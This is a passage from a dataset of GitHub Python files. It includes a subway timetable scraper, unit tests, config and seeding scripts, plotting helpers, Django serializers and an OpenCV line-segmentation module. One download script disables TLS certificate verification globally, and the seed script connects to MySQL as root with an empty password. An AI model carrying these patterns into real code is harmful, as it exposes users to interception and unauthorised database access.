star_time_2[i][j]\r\n            sheet.cell(j+2,5*(i+1)-1).value = end_time_1[i][j]\r\n            sheet.cell(j+2,5*(i+1)).value = end_time_2[i][j]\r\n\r\n\r\n    '''对2号线和10号线的写入以及爬取可以进一步的优化'''\r\n\r\n    \r\n    # 前面一共115列\r\n    # 将2号线和10号线写入文件中\r\n    sheet.cell(1,116).value = sub_name_2_10[0]\r\n    sheet.cell(1,117).value = '首班车'\r\n    sheet.cell(1,118).value = '尾班车'\r\n    sheet.cell(1,119).value = sub_name_2_10[1]\r\n    sheet.cell(1,120).value = '首班车'\r\n    sheet.cell(1,121).value = '尾班车'\r\n    sheet.cell(1,122).value = sub_name_2_10[2]\r\n    sheet.cell(1,123).value = '首班车'\r\n    sheet.cell(1,124).value = '尾班车'\r\n    sheet.cell(1,125).value = sub_name_2_10[3]\r\n    sheet.cell(1,126).value = '首班车'\r\n    sheet.cell(1,127).value = '尾班车'\r\n    # final_station:2,10号线的站名  \r\n    # final_start_time_2_10:2,10 开始时间 \r\n    # final_end_time_2_10:2,10 结束时间\r\n    for i in range(0,len(final_station)):\r\n        for j in range(0,len(final_station[i])):\r\n            sheet.cell(j+2,3*(i+1)+113).value = final_station[i][j]\r\n    for i in range(0,len(final_start_time_2_10)):\r\n        for j in range(0,len(final_start_time_2_10[i])):\r\n            sheet.cell(j+2,3*(i+1)+114).value = final_start_time_2_10[i][j]\r\n    for i in range(0,len(final_end_time_2_10)):\r\n        for j in range(0,len(final_end_time_2_10[i])):\r\n            sheet.cell(j+2,3*(i+1)+115).value = final_end_time_2_10[i][j]\r\n\r\n    excel.save(r'D:/bj_subway.xlsx')\r\nif __name__ == \"__main__\":\r\n    print('开始爬取,################保持微笑,不要出错#############')\r\n    sub_name_1,sub_link_1,sub_name_2_10,subway_link_2_10,start_time= sub_link()\r\n    save(sub_name_1,sub_link_1,sub_name_2_10,subway_link_2_10)\r\n    cur_time = datetime.datetime.now()\r\n    print('爬取结束的时间为:',cur_time)\r\n    cost_time = cur_time - start_time\r\n    print('爬取共用的时间为:',cost_time)\r\n    print('终于结束,可以大笑!！！！！！！！！！！！！！！！！！！')\r\n\r\n\r\n", "repo_name": "kg5kb8lbj6/bj_traffic_subway_and_bus", "sub_path": "bj_subway.py", "file_name": "bj_subway.py", "file_ext": "py", "file_size_in_byte": 9301, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "requests.get", "line_number": 12, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 14, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 14, "usage_type": "attribute"}, {"api_name": "pyquery.PyQuery", "line_number": 22, "usage_type": "call"}, {"api_name": "openpyxl.workbook.Workbook", "line_number": 52, "usage_type": "call"}, {"api_name": "openpyxl.workbook", "line_number": 52, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 83, "usage_type": "call"}, {"api_name": "pyquery.PyQuery", "line_number": 87, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 130, "usage_type": "call"}, {"api_name": "pyquery.PyQuery", "line_number": 134, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 214, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 214, "usage_type": "attribute"}]}
{"seq_id": "2689805896", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nimport unittest\n\nimport yaml\n\nfrom fbcli import editor\n\n\nclass TestText(unittest.TestCase):\n\n    def test_meta_and_body(self):\n        txt = '''Title: Valid title\nProject: Proj\nArea: misc\nAssign to: me\nPriority: high\n---\nThis is the body'''\n        t = editor.Text(txt)\n        self.assertEqual(t.meta['Title'], 'Valid title')\n        self.assertEqual(t.meta['Project'], 'Proj')\n        self.assertEqual(t.meta['Area'], 'misc')\n        self.assertEqual(t.meta['Assign to'], 'me')\n        self.assertEqual(t.meta['Priority'], 'high')\n\n    def test_invalid_yaml(self):\n        txt = '''Title:Invalid because no space after column\nProject:Proj\nArea:misc\nAssign to: me\nPriority: for consideration\n---\nThis is the body'''\n        t = editor.Text(txt)\n        with self.assertRaises(yaml.error.YAMLError):\n            t.meta  # pylint: disable=pointless-statement\n\n    def test_utf8_body(self):\n        txt = '''Title: Some ¢hars\nProject: Proj\nArea: misc\nAssign to: me\nPriority: high\n---\nThis is the body with mo®e utf8.\n'''\n        t = editor.Text(txt)\n        self.assertEqual(t.meta['Title'], 'Some ¢hars')\n        self.assertEqual(t.body, 'This is the body with mo®e utf8.')\n\n    def test_body_with_comments(self):\n        txt = '''Title: title title\nProject: Proj\nArea: misc\nAssign to: me\nPriority: high\n---\n# This comment should stay\nThis is the body.\n# This comment should stay, too\n\n# This comment won't be included because there are no blank lines\n# Lines starting wth \"#\" will be ignored.\n# Leave this file empty to abort action.\n# It's possible to add metadata in the format of a header.\n# Use \"---\" as separator between the header and the body.\n# E.g. To upload files use:\n#    Files:\n#      - path_to_file_1\n#      - path_to_file_2\n'''\n        expected = '''# This comment should stay\nThis is the body.\n# This comment should stay, too'''\n        t = editor.Text(txt)\n        self.assertEqual(t.body, expected)\n\n    def test_new_invalid_title(self):\n        txt = '''Title: <title>\nProject: Proj\nArea: misc\nAssign to: me\nPriority: for consideration\n---\nThis is the body'''\n        t = editor.Text(txt)\n        with self.assertRaises(AssertionError):\n            t.get_params_for_new()\n\n    def test_new_empty_title(self):\n        txt = '''Title:\nProject: Proj\nArea: misc\nAssign to: me\nPriority: for consideration\n---\nThis is the body'''\n        t = editor.Text(txt)\n        with self.assertRaises(AssertionError):\n            t.get_params_for_new()\n\n\nclass TestEditor(unittest.TestCase):\n\n    def test_write_new(self):\n        editor.clear()\n        expected = '''\n# Lines starting wth \"#\" will be ignored.\n# Leave this file empty to abort action.\n# It's possible to add metadata in the format of a header.\n# Use \"---\" as separator between the header and the body.\n# E.g. To upload files use:\n#    Files:\n#      - path_to_file_1\n#      - path_to_file_2\n'''\n\n        with editor.writing():\n            with open(editor.FNAME, 'r') as fid:\n                body = fid.read()\n            self.assertEqual(body, expected)\n", "repo_name": "lbolla/fbcli", "sub_path": "tests/test_editor.py", "file_name": "test_editor.py", "file_ext": "py", "file_size_in_byte": 3091, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "81", "api": [{"api_name": "unittest.TestCase", "line_number": 10, "usage_type": "attribute"}, {"api_name": "fbcli.editor.Text", "line_number": 20, "usage_type": "call"}, {"api_name": "fbcli.editor", "line_number": 20, "usage_type": "name"}, {"api_name": "fbcli.editor.Text", "line_number": 35, "usage_type": "call"}, {"api_name": "fbcli.editor", "line_number": 35, "usage_type": "name"}, {"api_name": "yaml.error", "line_number": 36, "usage_type": "attribute"}, {"api_name": "fbcli.editor.Text", "line_number": 48, "usage_type": "call"}, {"api_name": "fbcli.editor", "line_number": 48, "usage_type": "name"}, {"api_name": "fbcli.editor.Text", "line_number": 76, "usage_type": "call"}, {"api_name": "fbcli.editor", "line_number": 76, "usage_type": "name"}, {"api_name": "fbcli.editor.Text", "line_number": 87, "usage_type": "call"}, {"api_name": "fbcli.editor", "line_number": 87, "usage_type": "name"}, {"api_name": "fbcli.editor.Text", "line_number": 99, "usage_type": "call"}, {"api_name": "fbcli.editor", "line_number": 99, "usage_type": "name"}, {"api_name": "unittest.TestCase", "line_number": 104, "usage_type": "attribute"}, {"api_name": "fbcli.editor.clear", "line_number": 107, "usage_type": "call"}, {"api_name": "fbcli.editor", "line_number": 107, "usage_type": "name"}, {"api_name": "fbcli.editor.writing", "line_number": 119, "usage_type": "call"}, {"api_name": "fbcli.editor", "line_number": 119, "usage_type": "name"}, {"api_name": "fbcli.editor.FNAME", "line_number": 120, "usage_type": "attribute"}, {"api_name": "fbcli.editor", "line_number": 120, "usage_type": "name"}]}
{"seq_id": "72282715464", "text": "import urllib.request\nimport ssl\n\nssl._create_default_https_context = ssl._create_unverified_context\n\nimport urllib, http.cookiejar\n\nopener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(http.cookiejar.CookieJar()))\n# then for all requests\npostData = \"\"\nif postData:\n    pData =  urllib.parse.urlencode(postData)\nelse:\n    pData = None\n\nhttpReq = urllib.request.Request(\"https://userscloud.com/2rdteo81ocgs\", pData)\npage =  opener.open(httpReq)\nstrPage = page.read()\nstrPage = strPage.decode()\nprint(strPage)\nwith open(\"out.html\", 'a') as out:\n    out.write(strPage + '\\n')\n\nposRan = strPage.find(\"\\\"rand\\\"\")\nprint(posRan)\n\n#import requests\n#url_0 = \"http://dailyuploads.net/030p4rn9ll6a\"\n#url = \"https://webapp.pucrs.br/consulta/servlet/consulta.aluno.ValidaAluno\"\n#data = {\"pr1\": \"123456789\", \"pr2\": \"1234\"}\n\n#s = requests.session()\n#r = s.get(url_0)\n\n#print(r)", "repo_name": "mactiencong/python-dev", "sub_path": "downloadFiles.py", "file_name": "downloadFiles.py", "file_ext": "py", "file_size_in_byte": 881, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "ssl._create_default_https_context", "line_number": 4, "usage_type": "attribute"}, {"api_name": "ssl._create_unverified_context", "line_number": 4, "usage_type": "attribute"}, {"api_name": "urllib.request.build_opener", "line_number": 8, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 8, "usage_type": "attribute"}, {"api_name": "urllib.request.HTTPCookieProcessor", "line_number": 8, "usage_type": "call"}, {"api_name": "http.cookiejar.cookiejar.CookieJar", "line_number": 8, "usage_type": "call"}, {"api_name": "http.cookiejar.cookiejar", "line_number": 8, "usage_type": "attribute"}, {"api_name": "http.cookiejar", "line_number": 8, "usage_type": "name"}, {"api_name": "urllib.parse.urlencode", "line_number": 12, "usage_type": "call"}, {"api_name": "urllib.parse", "line_number": 12, "usage_type": "attribute"}, {"api_name": "urllib.request.Request", "line_number": 16, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 16, "usage_type": "attribute"}]}
{"seq_id": "2582434545", "text": "from os import environ\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\n# Django Config\nSECRET_KEY = environ.get(\"SECRET_KEY\", 'secret-key')\n\n# News API https://newsapi.org/\nNEWS_API_KEY = environ.get(\"NEWS_API_KEY\")\nCOUNTRIES = [\"us\", \"in\", \"gb\"]\nBASE_NEWS_URL = f\"https://newsapi.org/v2/top-headlines?apiKey={NEWS_API_KEY}\"\nCATEGORIES = [\"entertainment\", \"science\", \"technology\"]\n\n# Database\n# DATABASE_URL = environ.get(\"DATABASE_URL\")\n\n# Sendgrid E-mail\nSENDGRID_API = environ.get(\"SENDGRID_API\")\nSENDGRID_FROM_MAIL = environ.get(\"SENDGRID_FROM_MAIL\")\n\n# Redis Server\nREDIS_URL = environ.get(\"REDIS_URL\")\n", "repo_name": "SagarYadav17/Websites-Backend", "sub_path": "config/config.py", "file_name": "config.py", "file_ext": "py", "file_size_in_byte": 607, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "dotenv.load_dotenv", "line_number": 4, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 7, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 7, "usage_type": "name"}, {"api_name": "os.environ.get", "line_number": 10, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 10, "usage_type": "name"}, {"api_name": "os.environ.get", "line_number": 19, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 19, "usage_type": "name"}, {"api_name": "os.environ.get", "line_number": 20, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 20, "usage_type": "name"}, {"api_name": "os.environ.get", "line_number": 23, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 23, "usage_type": "name"}]}
{"seq_id": "3775358088", "text": "import re\nimport json\nimport argparse\nimport numpy as np\nimport pandas as pd\nfrom pathlib import Path\n\ndef build_label_dict(questions_path, category = None):\n    questions = pd.read_csv(open(questions_path, 'r'), quotechar='\"')\n    if category is not None:\n        questions = questions.loc[questions['Category'] == category]\n    questions = set(questions['Answer'].apply(lambda x: np.array(re.sub(r'\\s+', '_', x))))\n    return dict(zip(questions, list(range(len(questions)))))\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(description=\"\"\"\n        A simple program to create label dictionary used for converting label to ID and vice versa.\n    \"\"\")\n    parser.add_argument('--questions-path', help='Path to question dataset.', default='.\\\\data\\\\questions.csv')\n    parser.add_argument('--category', help='Category of questions. If not provided all categories will be considered.')\n    parser.add_argument('--output-path', help='Path to save labels dictionary to', default='.\\\\data\\\\answers.json')\n    args = parser.parse_args()\n    question_to_id = build_label_dict(args.questions_path, category=args.category)\n    json.dump(question_to_id, open(args.output_path, 'w', encoding='utf8'))\n", "repo_name": "kchiguichon/dfn", "sub_path": "src/util/create_label_dict.py", "file_name": "create_label_dict.py", "file_ext": "py", "file_size_in_byte": 1207, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pandas.read_csv", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 12, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 12, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 17, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 25, "usage_type": "call"}]}
{"seq_id": "21465209571", "text": "from bokeh.plotting import figure, output_file, show\nfrom bokeh.io import output_notebook, show\nfrom bokeh.models.tickers import FixedTicker\nfrom bokeh.models import NumeralTickFormatter, Legend\nimport pandas as pd\nimport numpy as np\nimport bokeh.palettes\n\n\ndef extract_dfs(df):\n\t\"\"\"\n\tdf: A pandas dataframe where:\n\t\t- The index (rows) contains years or other temporal period\n\t\t- The columns represent categories, countries etc\n\t\t- If the rows are years and the columns are countries (for example)\n\t\t\tthen an entry in the dataframe represents whichever quantity is\n\t\t\tbeing measured (e.g. GDP) for that country and year.\n\t\t(For more details view the example.ipynb)\n\treturns:\n\t\t- Dataframe with total interannual percentage growth\n\t\t- Datframe with contributions to growth of each original column\n\t\"\"\"\n\tdff = df.copy()\n\tcategories = list(dff.columns)\n\tdff['total'] = dff.sum(axis=1)\n\tdff['pctg_growth_total'] = (dff['total'] - dff['total'].shift(1)) / dff['total'].shift(1)\n\tfor cat in categories:\n\t    dff[f'pctg_growth_{cat}'] = (dff[cat] - df[cat].shift(1)) / dff[cat].shift(1)\n\tfor cat in categories:\n\t    dff[f'contrib_{cat}'] = dff[f'pctg_growth_{cat}']*(dff[cat].shift(1)) / dff['total'].shift(1)\n\tgrowth_df = dff[['pctg_growth_total']]\n\tgrowth_df.columns = ['total']\n\n\tcontrib_df = dff[[f'contrib_{cat}' for cat in categories]]\n\tcontrib_df.columns = categories\n\treturn growth_df.iloc[1:], contrib_df.iloc[1:]\n\n\ndef plot_growth(df, period='year', bar_width=0.5):\n\t\"\"\"\n\tdf: A pandas dataframe (typically the first output of extract_dfs)\n\tperiod: string, the periodicity of the data\n\tbar_width: float, width of the bars in the plot\n\n\tThe function plots the overall percentage interannual growth\n\t\"\"\"\n\n\t# output to static HTML file\n\toutput_file(f'{period}_growth.html')\n\n\t# create a new plot\n\tp = figure(tools='pan,box_zoom,reset,save',\n\t           title=f'{period} to {period} growth (total)'.capitalize(),\n\t           x_axis_label=f'{period}'.capitalize())\n\n\tp.vbar(df.index, top=df['total'], width=bar_width)\n\tp.yaxis[0].formatter = NumeralTickFormatter(format=\"0%\")\n\tp.xaxis.ticker = FixedTicker(ticks=list(df.index))\n\tshow(p)\n\n\ndef tops_bottoms(df):\n\t\"\"\"\n\tdf: A pandas dataframe (typically the second output of extract_dfs)\n\t\n\tUsing the input dataframe, the function returns two dataframes that\n\tcontain the bottom and top limits of bar segments in a stacked bar chart\n\t\"\"\"\n\tdfa = np.array(df)\n\ttops = np.zeros(dfa.shape)\n\tbots = np.zeros(dfa.shape)\n\n\tfor i in range(tops.shape[0]):\n\t    neg = 0\n\t    pos = 0\n\t    for j in range(tops.shape[1]):\n\t        if dfa[i, j] >= 0:\n\t            bots[i, j] = pos \n\t            pos += dfa[i, j]\n\t            tops[i, j] = pos\n\t        else:\n\t            tops[i, j] = neg\n\t            neg += dfa[i, j]\n\t            bots[i, j] = neg\n\ttops_df = pd.DataFrame(tops)\n\ttops_df.columns = df.columns\n\ttops_df.index = df.index\n\tbots_df = pd.DataFrame(bots)\n\tbots_df.columns = df.columns\n\tbots_df.index = df.index\n\treturn tops_df, bots_df\n\n\ndef plot_contrib(df, palette='Colorblind', period='year', bar_width=0.5, legend_loc='top_right'):\n\t\"\"\"\n\tdf: A pandas dataframe (typically the second output of extract_dfs)\n\tpalette: string, the name of a bokeh color palette to be applied to the plot\n\tperiod: string, the periodicity of the data\n\tbar_width: float, width of the bars in the plot\n\tlegend_loc: string, location of the legend in the plot e.g: 'bottom_left'\n\n\tThe function plots the contributions of each column to the overall\n\tinterannual growth\n\t\"\"\"\n\tcategories = list(df.columns)\n\tcolors = eval(f'bokeh.palettes.{palette}')[len(categories)]\n\ttops, bottoms = tops_bottoms(df)\n\n\t# output to static HTML file\n\toutput_file(f'Growth_contribs.html')\n\n\t# create a new plot\n\tp = figure(tools='pan,box_zoom,reset,save',\n\t           title='Contributions to total growth',\n\t           x_axis_label=f'{period}'.capitalize())\n\n\tfor i in range(len(categories)):\n\t    p.vbar(df.index, bar_width, bottom=bottoms[categories[i]], top=tops[categories[i]],\n\t          color=colors[i], legend=categories[i])\n\tp.yaxis[0].formatter = NumeralTickFormatter(format=\"0%\")\n\tp.xaxis.ticker = FixedTicker(ticks=list(df.index))\n\tp.legend.location = legend_loc\n\tshow(p)\n\n\ndef plot_contributions(df, palette='Colorblind', period='year', bar_width=0.5,\n\tlegend_loc='top_right', total_growth=True):\n\t\"\"\"\n\tdf: A pandas dataframe with the appropriate format (see example.ipynb)\n\tpalette: string, the name of a bokeh color palette to be applied to the plot\n\tperiod: string, the periodicity of the data\n\tbar_width: float, width of the bars in the plot\n\tlegend_loc: string, location of the legend in the plot e.g: 'bottom_left'\n\ttotal_growth: bool, whether to plot total period to period growth\n\n\tThis function plots:\n\t\t- Percentage total period to period growth (optional)\n\t\t- Contributions to growth of each column in the dataframe\n\t\"\"\"\n\tgrowth, contribs = extract_dfs(df)\n\tif total_growth:\n\t\tplot_growth(growth, period=period, bar_width=bar_width)\n\tplot_contrib(contribs, palette=palette, period=period, bar_width=bar_width, legend_loc=legend_loc)\n", "repo_name": "jaroxe/plotting_growth_contributions", "sub_path": "plot_growth_contributions.py", "file_name": "plot_growth_contributions.py", "file_ext": "py", "file_size_in_byte": 5051, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "bokeh.plotting.output_file", "line_number": 49, "usage_type": "call"}, {"api_name": "bokeh.plotting.figure", "line_number": 52, "usage_type": "call"}, {"api_name": "bokeh.models.NumeralTickFormatter", "line_number": 57, "usage_type": "call"}, {"api_name": "bokeh.models.tickers.FixedTicker", "line_number": 58, "usage_type": "call"}, {"api_name": "bokeh.io.show", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 71, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 85, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 88, "usage_type": "call"}, {"api_name": "bokeh.plotting.output_file", "line_number": 110, "usage_type": "call"}, {"api_name": "bokeh.plotting.figure", "line_number": 113, "usage_type": "call"}, {"api_name": "bokeh.models.NumeralTickFormatter", "line_number": 120, "usage_type": "call"}, {"api_name": "bokeh.models.tickers.FixedTicker", "line_number": 121, "usage_type": "call"}, {"api_name": "bokeh.io.show", "line_number": 123, "usage_type": "call"}]}
{"seq_id": "24076371048", "text": "from sqlalchemy import create_engine, text\nimport pandas as pd\n\nSQLALCHEMY_DATABASE_URL = \"mysql://root:    @localhost:3306/ecommerce_db\"\n\nengine = create_engine(SQLALCHEMY_DATABASE_URL)\ncon = engine.connect()\n\ncategory_insert_statement = text(\n    \"\"\"\nINSERT INTO category (id, name, `desc`)\nVALUES\n  (1, 'cat1', 'test desc'),\n  (2, 'cat2', 'test desc'),\n  (3, 'cat3', 'test desc'),\n  (4, 'cat4', 'test desc');\n\"\"\"\n)\n\ncon.execute(category_insert_statement)\ncon.commit()\n\n\nproduct_insert_statement = text(\n    \"\"\"\nINSERT INTO product (id, name, `desc`, category_id, price)\nVALUES\n  (1, 'prod1', 'test desc', 1, 10.0),\n  (2, 'prod2', 'test desc', 2, 20.0),\n  (3, 'prod3', 'test desc', 3, 30.0),\n  (4, 'prod4', 'test desc', 4, 40.0);\n\"\"\"\n)\ncon.execute(product_insert_statement)\ncon.commit()\n\n\ninventory_insert_statement = text(\n    \"\"\"\nINSERT INTO inventory (id, product_id, current_stock, low_stock_alert_threshold)\nVALUES\n    (1, 1, 10, 1),\n    (2, 2, 20, 2),\n    (3, 3, 30, 3),\n    (4, 4, 40, 4);\n\"\"\"\n)\ncon.execute(inventory_insert_statement)\ncon.commit()\n\n\nsales_insert_statement = text(\n    \"\"\"\nINSERT INTO sales (id)\nVALUES\n    (1),\n    (2),\n    (3),\n    (4);\n\"\"\"\n)\ncon.execute(sales_insert_statement)\ncon.commit()\n\n\nsale_items_insert_statement = text(\n    \"\"\"\nINSERT INTO sale_items (id, sales_id, product_id, quantity)\nVALUES\n    (1, 1, 1, 3),\n    (2, 1, 4, 1),\n    (3, 2, 1, 3),\n    (4, 2, 3, 6),\n    (5, 2, 2, 5),\n    (6, 2, 4, 2),\n    (7, 3, 4, 6),\n    (8, 3, 1, 2),\n    (9, 3, 3, 5),\n    (10, 4, 2, 4),\n    (11, 4, 1, 3);\n\"\"\"\n)\ncon.execute(sale_items_insert_statement)\ncon.commit()\n\ncon.close()\n", "repo_name": "talhajamil05/forsit-backend", "sub_path": "data_seed.py", "file_name": "data_seed.py", "file_ext": "py", "file_size_in_byte": 1605, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sqlalchemy.create_engine", "line_number": 6, "usage_type": "call"}, {"api_name": "sqlalchemy.text", "line_number": 9, "usage_type": "call"}, {"api_name": "sqlalchemy.text", "line_number": 24, "usage_type": "call"}, {"api_name": "sqlalchemy.text", "line_number": 38, "usage_type": "call"}, {"api_name": "sqlalchemy.text", "line_number": 52, "usage_type": "call"}, {"api_name": "sqlalchemy.text", "line_number": 66, "usage_type": "call"}]}
{"seq_id": "4426413236", "text": "from rest_framework import serializers\n\nfrom core.models import Disease, DiseaseInfectionStatus\n\n\nclass DiseaseInfectionStatusListSerializer(serializers.ModelSerializer):\n    \"\"\"\n    DiseaseInfectionStatusListSerializer\n\n    Serializes and outputs infection status\n    \"\"\"\n    id = serializers.CharField(read_only=True)\n    desc = serializers.CharField(source='infection_status')\n\n    class Meta:\n        model = DiseaseInfectionStatus\n        fields = ('id', 'desc')\n\n\nclass DiseaseSerializer(serializers.ModelSerializer):\n    \"\"\"\n    Serializes disease information including all the infection status associated with it.\n    \"\"\"\n    id = serializers.CharField(read_only=True)\n    infection_status = DiseaseInfectionStatusListSerializer(many=True, source='diseaseinfectionstatus_set',\n                                                            read_only=True)\n\n    class Meta:\n        model = Disease\n        fields = ('id', 'name', 'infection_status')\n\n\nclass DiseaseInfectionStatusDetailSerializer(serializers.Serializer):\n    \"\"\"\n    DiseaseInfectionStatusDetailSerializer\n\n    Serializes the disease infection status create and update data\n    \"\"\"\n    id = serializers.CharField(read_only=True)\n    infection_status = serializers.CharField(max_length=255)\n\n    def validate_disease_id(self, disease_id):\n        \"\"\"\n        Validates the given disease ID, checks if an associated disease exists !\n\n        :param disease_id:\n        :return:\n        \"\"\"\n        try:\n            Disease.objects.get(id=disease_id)\n        except Disease.DoesNotExist:\n            raise serializers.ValidationError('Please provide a valid disease ID !')\n        return disease_id\n\n    def create(self, validated_data):\n        \"\"\"\n        Creates a disease record\n\n        :param validated_data:\n        :return:\n        \"\"\"\n        disease = validated_data.pop(\"disease\")\n        return DiseaseInfectionStatus.objects.create(infection_status=validated_data.get('infection_status'),\n                                                     disease=disease)\n\n    def update(self, instance, validated_data):\n        \"\"\"\n        Updates a disease record\n\n        :param instance:\n        :param validated_data:\n        :return:\n        \"\"\"\n        instance.infection_status = validated_data.get('infection_status', instance.infection_status)\n        instance.save()\n\n        return instance\n", "repo_name": "Data4Life-Initiative/api-backend", "sub_path": "disease/serializers.py", "file_name": "serializers.py", "file_ext": "py", "file_size_in_byte": 2371, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 6, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 6, "usage_type": "name"}, {"api_name": "rest_framework.serializers.CharField", "line_number": 12, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 12, "usage_type": "name"}, {"api_name": "rest_framework.serializers.CharField", "line_number": 13, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 13, "usage_type": "name"}, {"api_name": "core.models.DiseaseInfectionStatus", "line_number": 16, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 20, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 20, "usage_type": "name"}, {"api_name": "rest_framework.serializers.CharField", "line_number": 24, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 24, "usage_type": "name"}, {"api_name": "core.models.Disease", "line_number": 29, "usage_type": "name"}, {"api_name": "rest_framework.serializers.Serializer", "line_number": 33, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 33, "usage_type": "name"}, {"api_name": "rest_framework.serializers.CharField", "line_number": 39, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 39, "usage_type": "name"}, {"api_name": "rest_framework.serializers.CharField", "line_number": 40, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 40, "usage_type": "name"}, {"api_name": "core.models.Disease.objects.get", "line_number": 50, "usage_type": "call"}, {"api_name": "core.models.Disease.objects", "line_number": 50, "usage_type": "attribute"}, {"api_name": "core.models.Disease", "line_number": 50, "usage_type": "name"}, {"api_name": "core.models.Disease.DoesNotExist", "line_number": 51, "usage_type": "attribute"}, {"api_name": "core.models.Disease", "line_number": 51, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ValidationError", "line_number": 52, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 52, "usage_type": "name"}, {"api_name": "core.models.DiseaseInfectionStatus.objects.create", "line_number": 63, "usage_type": "call"}, {"api_name": "core.models.DiseaseInfectionStatus.objects", "line_number": 63, "usage_type": "attribute"}, {"api_name": "core.models.DiseaseInfectionStatus", "line_number": 63, "usage_type": "name"}]}
{"seq_id": "16018884932", "text": "import os\nimport cv2\nimport argparse\nimport numpy as np\nfrom glob import glob\nfrom tqdm import tqdm\nfrom PIL import Image\nfrom pathlib import Path\nfrom xml.dom import minidom\nfrom natsort import natsorted\nfrom dataclasses import dataclass\nfrom Utils import rotate_image, create_dir, group_lines, preprocess_img, parse_labels\nfrom IPython.display import Image as ShowImage\n\n\n@dataclass\nclass LineSample:\n    \"\"\"Class for keeping track of an item in inventory.\"\"\"\n    image: np.array\n    label: str\n    x: float\n    y: float\n    width: float\n    height: float\n\n\ndef generate_line_image_v1(image, contour, angle: float, kernel: tuple = (10, 16), iterations: int = 6):\n    image_mask = np.zeros((image.shape[0], image.shape[1]), dtype=np.uint8)\n    cv2.drawContours(image_mask, [contour], contourIdx=-1, color=(255, 255, 255), thickness=-1)\n\n    dilate_k = np.ones(kernel, dtype=np.uint8)\n    kernel_iterations = iterations\n\n    image_mask = cv2.dilate(image_mask, dilate_k, iterations=kernel_iterations)\n    image_masked = cv2.bitwise_and(image, image, mask=image_mask)\n\n    if angle > 85.0 and angle != 90.0:\n        angle = -(90 - angle)\n\n    if angle == 90:\n        angle = 0\n        \n    rotated_img = rotate_image(image_masked, angle=angle)\n\n    cropped_img = np.delete(rotated_img, np.where(~rotated_img.any(axis=1))[0], axis=0)\n    cropped_img = np.delete(cropped_img,np.where(~cropped_img.any(axis=0))[0], axis=1)\n\n    return cropped_img\n\ndef blurr(image: np.array, blur_intensity: int = 4):\n    bw = cv2.GaussianBlur(image, (blur_intensity, blur_intensity), 0)\n    return bw\n\ndef adaptive_binarize(image: np.array, block_size: int = 13, c: float = 11, invert: bool = False):\n    c = round(c, 2)\n    \n    bw = cv2.adaptiveThreshold(image, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, block_size, c)\n\n    if invert:\n        bw = cv2.bitwise_not(bw)\n\n    return bw\n\n\ndef get_components(image: np.array):\n    connectivity = 4 # or 8, check here: https://stackoverflow.com/questions/7088678/4-connected-vs-8-connected-in-connected-component-labeling-what-is-are-the-meri\n    image = cv2.bitwise_not(image)\n    output = cv2.connectedComponentsWithStats(image, 4, cv2.CV_32S)\n    numLabels, labels, stats, centroids = output\n\n    return numLabels, labels, stats, centroids\n\ndef get_component_info(index: int, stats, centroids):\n           \n    x = stats[index, cv2.CC_STAT_LEFT]\n    y = stats[index, cv2.CC_STAT_TOP]\n    w = stats[index, cv2.CC_STAT_WIDTH]\n    h = stats[index, cv2.CC_STAT_HEIGHT]\n    area = stats[index, cv2.CC_STAT_AREA]\n    (cX, cY) = centroids[index]\n    return x, y, w, h, cX, cY, area\n\ndef filter_components(image: np.array, y_offset: int = 3, area_threshold: int = 6, y_border: bool = 